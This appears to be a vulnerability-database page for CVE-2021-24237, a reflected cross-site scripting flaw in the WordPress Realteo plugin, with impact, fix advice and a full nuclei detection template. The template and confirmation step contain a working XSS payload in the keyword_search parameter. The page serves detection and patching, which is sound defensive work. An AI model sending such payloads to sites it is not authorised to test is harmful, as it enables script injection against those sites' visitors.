Browse / CVEs / CVE-2021-24237
CVE-2021-24237· purethemes / findeo· CWE-79
WordPress Realteo <=1.2.3 - Cross-Site Scripting
WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
Fix
Update to the latest version of the WordPress Realteo plugin (>=1.2.4) which includes a fix for the Cross-Site Scripting vulnerability.
How to confirm it
Send: GET {{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F
Positive when: contains "autofocus onfocus=alert(/{{randstr}}/);//" and "Nothing found" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-24237 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-24237
info:
name: WordPress Realteo <=1.2.3 - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update to the latest version of the WordPress Realteo plugin (>=1.2.4) which includes a fix for the Cross-Site Scripting vulnerability.
reference:
- https://wpscan.com/vulnerability/087b27c4-289e-410f-af74-828a608a4e1e
- https://nvd.nist.gov/vuln/detail/CVE-2021-24237
- https://www.docs.purethemes.net/findeo/knowledge-base/changelog-findeo/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24237
cwe-id: CWE-79
epss-score: 0.06275
epss-percentile: 0.93636
cpe: cpe:2.3:a:purethemes:findeo:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: purethemes
product: findeo
framework: wordpress
tags: cve2021,cve,realteo,xss,wordpress,plugin,wpscan,intrusive,purethemes,vuln
http:
- method: GET
path:
- "{{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F"
matchers-condition: and
matchers:
- type: word
part: body
words:
- autofocus onfocus=alert(/{{randstr}}/);//
- Nothing found
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/087b27c4-289e-410f-af74-828a608a4e1e
- https://nvd.nist.gov/vuln/detail/CVE-2021-24237
- https://www.docs.purethemes.net/findeo/knowledge-base/changelog-findeo/
Use this check only on systems you are authorised to test. Where the data comes from